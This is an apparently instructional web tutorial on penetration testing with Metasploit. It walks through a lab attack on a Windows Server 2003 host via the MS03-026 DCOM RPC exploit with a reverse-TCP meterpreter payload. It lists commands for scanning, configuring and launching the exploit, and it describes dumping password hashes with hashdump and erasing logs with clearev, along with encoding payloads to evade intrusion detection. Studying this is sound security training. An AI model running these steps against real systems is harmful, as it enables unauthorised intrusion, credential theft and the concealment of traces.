|   | 
	
	
		|   | 
	
	
		| Penetration Testing with Metasploit Framework | 
	
	
		| Author:
		Dinesh Shetty  | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		
	
			  |   
	
		
	
		| 
		
	 | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
	
		
	
			  |   
	
	
		 | 
	
	
		|   | 
	
	
		|   | 
	
	
		
	
		  |  	
		
		
	
			When I say "Penetration Testing tool" the first thing that comes to 
			your mind is the world's largest Ruby project, with over 700,000 
			lines of code 'Metasploit' [Reference 1]. No wonder it had become 
			the de-facto standard for penetration testing and vulnerability 
			development with more than one million unique downloads per year and 
			the world's largest, public database of quality assured exploits. 
			 The Metasploit Framework is a program and sub-project developed 
			by Metasploit LLC. It was initially created in 2003 in the Perl 
			programming language, but was later completely re-written in the 
			Ruby Programming Language. With the most recent release (3.7.1) 
			Metasploit has taken exploit testing and simulation to a complete 
			new level which has muscled out its high priced commercial 
			counterparts by increasing the speed and lethality of code of 
			exploit in shortest possible time. | 
	
  |  	
		
		  | 
	
  |  	
	
		| 
		
			 | 
	
	
		| 
		
			In this article, I will walk your through detailed step by step 
			sequence of commands along with graphical illustrations to perform 
			effective penetration testing using 
			Metasploit framework. | 
	
	
		| 
		
			  | 
	
	
	
		| 
		
			  | 
	
	
	
		
	
	  |  	
	
		Metasploit is simple to use and is 
		designed with ease-of-use in mind to aid Penetration Testers.
  
		Metasploit Framework follows these common steps while exploiting a any 
		target system | 
	
	
		
		
			- Select and configure the exploit to be 
		targeted. This is the code that will be targeted toward a system with 
		the intention of taking advantage of a defect in the software.Validate whether the chosen system is susceptible to the chosen exploit..
 
			- lect and configure a payload that will be used. 
		This payload represents the code that will be run on a system after a 
		loop-hole has been found in the system and an entry point is set.t.
 
			- Select and configure the encoding schema to be used 
		to make sure that the payload can evade Intrusion Detection Systems with 
		ease.
 
			- Execute the exploit.
 
		 
		 | 
	
	
		| 
		  | 
	
	
		I will be taking you through this demo 
		in BackTrack 5 [Reference 2], so go ahead and download that if you don't 
		already have it. The reason for using BackTrack 5 is that it comes with 
		perfect setup for Metasploit and everything that Pen Testing person ever 
		need.
  Metasploit framework has three work environments, the 
		msfconsole, the msfcli interface and the msfweb interface. However, the 
		primary and the most preferred work area is the 'msfconsole'. It is an 
		efficient command-line interface that has its own command set and 
		environment system.
  Before executing your exploit, it is useful 
		to understand what some Metasploit commands do. Below are some of the 
		commands that you will use most. Graphical explanation of their outputs 
		would be given as and when we use them while exploiting some boxes in 
		later part of the article. | 
	
	
		|   | 
	
	
	
		
		
			- search <keyword>: Typing in the command 
			'search' along with the 
		keyword lists out the various possible exploits that have that keyword 
		pattern.
  
			- show exploits: Typing in the command 'show 
		exploits' lists out the currently available exploits. There are remote 
		exploits for various platforms and applications including Windows, 
		Linux, IIS, Apache, and so on, which help to test the flexibility and 
		understand the working of Metasploit. 
  
			- show payloads: With 
		the same 'show' command, we can also list the payloads available. We can 
		use a 'show payloads' to list the payloads. 
  
			- show options: 
		Typing in the command 'show options' will show you options that you have 
		set and possibly ones that you might have forgotten to set. Each exploit 
		and payload comes with its own options that you can set.
  
			- info 
		<type> <name>: If you want specific information on an exploit or 
		payload, you are able to use the 'info' command. Let's say we want to 
		get complete info of the payload 'winbind'. We can use 'info payload 
		winbind'.
  
			- use <exploit_name>: This command tells 
		Metasploit to use the exploit with the specified name.
  
			- set 
		RHOST <hostname_or_ip>: This command will instruct Metasploit to target 
		the specified remote host.
  
			- set RPORT <host_port>: This 
		command sets the port that Metasploit will connect to on the remote 
		host.
  
			- set PAYLOAD <generic/shell_bind_tcp>: This command 
		sets the payload that is used to a generic payload that will give you a 
		shell when a service is exploited. 
  
			- set LPORT <local_port>: 
		This command sets the port number that the payload will open on the 
		server when an exploit is exploited. It is important that this port 
		number be a port that can be opened on the server (i.e.it is not in use 
		by another service and not reserved for administrative use), so set it 
		to a random 4 digitnumber greater than 1024, and you should be fine. 
		You'll have to change the number each time you successfully exploit a 
		service as well.
  
			- exploit: Actually exploits the service. 
		Another version of exploit, rexploit reloads your exploit code and then 
		executes the exploit. This allows you to try minor changes to your 
		exploit code without restarting the console
  
			- help: The 
		'help' command will give you basic information of all the commands that 
		are not listed out here.
  
		 
		 | 
	
	
	
		|   | 
	
	
	
		| Now that you are ready with all the basic commands you need to 
		launch your exploit, lets get in action with live target system using 
		Metasploit. | 
	
	
	
		|   | 
	
	
	
		|   | 
	
	
		|   | 
	
	
		
	
	 |   |  	
	 
		| Here is the demonstration of pen testing 
		a vulnerable target system using Metasploit with detailed steps. |  	
	 |   |  	
	 
		Victim Machine OS: Microsoft Windows Server 
		2003 IP: IP: 192.168.42.129 |  	
	 |   |  	
	 
		Attacker (Our) Machine OS: Backtrack 5 
		Kernel version: Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 
		GNU/Linux Metasploit Version: Built in version of metasploit 
		3.8.0-dev IP: 192.168.42.128 |  	
	 |   |  	
	 Our objective here is to gain remote access to 
		given target which is known to be running vulnerable Windows 2003 
		Server.
  Here are the detailed steps of our attack in action,
  |  	
	 |   |  	
	 
		|   |  	
	 
		 	
	 |   |  	
	 Perform an Nmap [Reference 
		3] scan of the remote 
		server 192.168.42.129
  The output of the Nmap scan shows us a range of 
		ports open which can be seen below in Figure 1  |  	
	 |   |  	
	 
		
		
		  |  	
	 |   |  	
	 | We notice that there is port 135 open. Thus we 
		can look for scripts in Metasploit to exploit and gain shell access if 
		this server is vulnerable. |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 Now on your BackTrack launch 
		msfconsole as shown below
 
  |  	
	 
		| Application > BackTrack > Exploitation Tools > 
		Network Exploit Tools > Metasploit Framework > msfconsole |  	
	 |   |  	
	 
		
		
		  |  	
	 |   |  	
	 | During the initialization of msfconsole, 
		standard checks are performed. If everything works out fine we will see 
		the welcome screen as shown  |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 Now, we know that port 135 is open so, we 
		search for a related RPC exploit in Metasploit. 
  To list out all 
		the exploits supported by Metasploit we use the "show exploits" 
		command. This exploit lists out all the currently available exploits and 
		a small portion of it is shown below |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 
		As you may have noticed, the default 
		installation of the Metasploit Framework 3.8.0-dev comes with 696 
		exploits and 224 payloads, which is quite an impressive stockpile thus 
		finding a specific exploit from this huge list would be a real tedious 
		task. So, we use a better option. You can either visit the link 
		http://metasploit.com/modules/ or another alternative would be to use 
		the "search <keyword>""command in Metasploit to search for related 
		exploits for RPC.command in Metasploit to search for related 
		exploits for RPC.
  In msfconsole type "search dcerpc" to search 
		all the exploits related to dcerpc keyword as that exploit can be used 
		to gain access to the server with a vulnerable port 135. A list of all 
		the related exploits would be presented on the msfconsole window and 
		this is shown below in figure 5.   |  	
	 
		
		
		   |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 | Now that you have the list of RPC exploits in 
		front of you, we would need more information about the exploit before we 
		actually use it. To get more information regarding the exploit you can 
		use the command,  "info exploit/windows/dcerpc/ms03_026_dcom"   |  	
	 
		 This command provides information such as 
		available targets, exploit requirements, details of vulnerability 
		itself, and even references where you can find more information. This is 
		shown in screenshot below, |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 The command "use <exploit_name>" activates the 
		exploit environment for the exploit <exploit_name>. In our case we will 
		use the following command to activate our exploit "use 
		exploit/windows/dcerpc/ms03_026_dcom" |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 | From the above figure we can see that, after 
		the use of the exploit command the prompt changes from "msf>" to 
		"msf 
		exploit(ms03_026_dcom) >" which symbolizes that we have entered a 
		temporary environment of that exploit.  |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 Now, we need to configure the exploit as per 
		the need of the current scenario. The "show options" command displays 
		the various parameters which are required for the exploit to be launched 
		properly. In our case, the RPORT is already set to 135 and the only 
		option to be set is RHOST which can be set using the "set RHOST" 
		command.
  We enter the command "set RHOST 192.168.42.129" and we 
		see that the RHOST is set to 192.168.42.129   |  	
	 
		
		
		   |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 The only step remaining now before we launch 
		the exploit is setting the payload for the exploit. We can view all the 
		available payloads using the "show payloads" command.
  As shown in the 
		below figure, "show payloads" command will list all payloads that are 
		compatible with the selected exploit. |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 
		| For our case, we are using the reverse tcp 
		meterpreter which can be set using the command, "set PAYLOAD 
		windows/meterpreter/reverse_tcp" which spawns a shell if the remote 
		server is successfully exploited. Now again you must view the available 
		options using "show options" to make sure all the compulsory sections 
		are properly filled so that the exploit is launched properly.  |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 | We notice that the LHOST for out payload is 
		not set, so we set it to out local IP ie. 192.168.42.128 using the 
		command "set LHOST 192.168.42.128"  |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 Now that everything is ready and the exploit 
		has been configured properly its time to launch the exploit.
  You 
		can use the "check" command to check whether the victim machine is 
		vulnerable to the exploit or not. This option is not present for all the 
		exploits but can be a real good support system before you actually 
		exploit the remote server to make sure the remote server is not patched 
		against the exploit you are trying against it.
  In out case as 
		shown in the figure below, our selected exploit does not support the 
		check option.   |  	
	 
		
		
		   |  	
	 |   |  	
	 | The "exploit" command actually launches the 
		attack, doing whatever it needs to do to have the payload executed on 
		the remote system.  |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 The above figure shows that the exploit was 
		successfully executed against the remote machine 192.168.42.129 due to 
		the vulnerable port 135. This is indicated by change in prompt to 
		"meterpreter >".  |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 Now that a reverse connection has been setup 
		between the victim and our machine, we have complete control of the 
		server. We can use the "help" command to see 
		which all commands can be used by us on the remote server to perform the related actions as 
		displayed in the below figure.
  |  	
	 |   |  	
	 
		
		
		   |  	
	 |   |  	
	 | Below are the results of some of the 
		meterpreter commands.   |  	
	 |   |  	
	 
		"ipconfig" prints the remote machines all current 
		TCP/IP network configuration values "getuid" prints the server's 
		username to he console. "hashdump" dumps the contents of the SAM 
		database. "clearev" can be used to wipe off all the traces that you 
		were ever on the machine.  |  	
	 |   |  	
	 |   |  	
	 |   |  	
	 
		 	
	 |   |  	
	 Thus we have successfully used Metasploit 
		framework to break into the remote Windows 2003 server and get shell 
		access which can be used to control the remote machine and perform any 
		kind of operations. 
  Here are potential uses of the Metasploit 
		Framework  |  	
	 
		
			- Metasploit can be used during penetration 
		testing to validate the reports by other automatic vulnerability 
		assessment tools to prove that the vulnerability is not a false positive 
		and can be exploited. Care has to taken because not only does it 
		disprove false positives, but it can also breaks things.
 
			- Metasploit can be used to test the new exploits that come up nearly 
		everyday on your locally hosted test servers to understand the 
		effectiveness of the exploit.
 
			- Metasploit is also a great 
		testing tool for your intrusion detection systems to test whether the 
		IDS is successful in preventing the attacks that we use to bypass it. 
 
		 
		 |  	
	 |   |  	
	 
		|   |   	
	
	 
			
	
	  |   
	
	
		| 
		
		 | 
	
	
		|   | 
	
	
		
	 
			
	
	  |   
	
	
		| 
		This article presented high level overview of using Metasploit for 
		penetration testing with example of exploiting RPC vulnerability in 
		remote Windows 2003 server. Armed with this basic knowledge along with 
		more research, you can create your own exploits and perform Penetration 
		Testing like never before. | 
	
	
		|   | 
	
	
		|   | 
	
	
	
		|   | 
	
	
	
		
	
			  |   
	
		
	
		| 
		
	 | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
		|   |